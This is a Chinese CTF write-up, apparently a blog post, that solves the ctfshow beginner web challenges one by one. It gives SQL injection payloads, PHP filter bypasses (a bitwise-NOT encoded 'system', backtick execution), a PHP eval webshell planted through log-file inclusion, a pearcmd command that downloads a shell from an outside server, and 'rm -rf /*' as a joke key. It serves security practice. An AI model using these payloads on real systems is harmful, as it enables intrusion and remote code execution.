ctfshow萌新计划类web全解 wp

题目有多种解法,如下解法经供参考

WEB1

sql注入
启动环境
在这里插入图片描述
无绕过,id=1000输出flag
payload:?id=1 or id =1000 --+
或者 ?id=1 union select * from article --+

WEB2

过滤了or和+
payload:?id=1 || id=1000 --+
或者 ?id=1 union select * from article --+

WEB3

过滤了更多
?id=1 union select * from article --+不再可用 因为*被过滤了
这里利用一个intval的特性,
intval在php中用于获取变量的整数值,具体内容可参考
https://www.php.net/manual/zh/function.intval
我们在传入参数的时候实际上是会以""扩起来的
传入1000时
intval得到的还是1000
在这里插入图片描述
而传入’1000’intval得到的是0
但是变量输出仍是1000
在这里插入图片描述
故可以构造?id='1000'

WEB4

?id=‘1000’`

WEB5

过滤了单引号
前面的方法失效,考虑取反

~~1000

WEB6

~~1000

WEB7

0b1111101000

WEB8

在这里插入图片描述

$key不知道哪儿来,没有思路
网上说这是道梗题
在这里插入图片描述

在这里插入图片描述
阿呆删库跑路
所以key是rm -rf /*

?flag=rm -rf /*

WEB9

在这里插入图片描述

匹配到system,exec,highlight后执行
看看路径
?c=system('ls ');
在这里插入图片描述
?c=system(‘cat config.php’);
发现一片空白
查看源码
在这里插入图片描述

WEB10

这次是过滤了system,exec,highlight
尝试取反绕过

?c=(~%8C%86%8C%8B%9A%92)('ls');

其中的%8C%86%8C%8B%9A%92是通过system取反得到的
脚本如下

<?php
$a=~("system");
echo urlencode($a);

得到
在这里插入图片描述

?c=(~%8C%86%8C%8B%9A%92)('cat config.php');

在这里插入图片描述

WEB11

过滤了cat 换tac读取

?c=(~%8C%86%8C%8B%9A%92)('tac config.php');

WEB12

过滤了config,php还有.
模糊匹配

?c=(~%8C%86%8C%8B%9A%92)('tac c*');

WEB13

多过滤了个;?>就行了

?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>

WEB14

过滤了左括号
取反不可行了

?c=echo `tac confi*`?>

其中

`tac confi*`

涉及到php中反引号的作用
执行其内的语句并返回值

WEB15

在这里插入图片描述
测一下还有那些字符可用
在这里插入图片描述
这里虽然禁止了?>但是分号又可用了
用反引号接收一个参数a,然后a中是所需执行的语句

?c=echo `$_GET[a]`;&a=cat config.php

WEB16

在这里插入图片描述

md5强碰撞
那个md5解出来是ctfshow36d
由于已经给了ctfshow

?c=36d

WEB17

在这里插入图片描述
文件包含,过滤了php
考虑日志文件包含
一个个试

?c=/var/log/apache/access.log

测试发现不是apache

?c=/var/log/nginx/access.log

是nginx
发现显示内容中有ua
随便传个参数进去,抓包改ua为一句话木马

<?php eval(@$_REQUEST['114514']); ?>

蚁剑连上
在这里插入图片描述

在36d.php中拿到flag

WEB18

多过滤了个file
这说明WEB17也可以用php伪协议做
对日志文件包含没干扰

?c=/var/log/nginx/access.log

和web17如出一辙,就不复述了

WEB19

多过滤了个base
同上

?c=/var/log/nginx/access.log

WEB20

多过滤了个rog
同上

?c=/var/log/nginx/access.log

WEB21

过滤冒号
同上

?c=/var/log/nginx/access.log

WEB22

在这里插入图片描述

过滤了冒号和正反斜杠
无思路,参考了如下文章
https://blog.csdn.net/qq_46091464/article/details/108954166
https://blog.csdn.net/qq_46041723/article/details/110948866
在自己的服务器上写一个一句话木马
然后让靶机下载这个木马
这里用到了register_argc_argv的知识
在register_argc_argv开启的时候可以通过+来分隔变量
先进行包含pearcmd.php然后在通过+分隔符来执行download命令

?c=pearcmd&+download+http:/xxxxxxxxxxxx/shell.php

然后访问shell
在post中进行命令执行

获得百分之百的快乐

做了长度限制
只能接收长度小于4的参数
先执行ls看看
在这里插入图片描述
发现只有s和z开头的文件
那么可以考虑执行如下语句

?1=>nl

然后

?1=*

其意义是
先创建一个叫nl的文件
然后以最先匹配到的作为命令执行,其余文件当参数
如我这里有一个z.txt
在这里插入图片描述
在这里插入图片描述
可以看到输出了z,txt中的内容
对于本题执行将会读取那两个文件中的内容
最后查看源码,flag就在源码中

WEB23&24

在这里插入图片描述
尝试上传
在这里插入图片描述
尝试访问,发现不存在
那么因该是考条件竞争
payload可以参考如下文章
https://wp.ctf.show/d/131-23-24

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值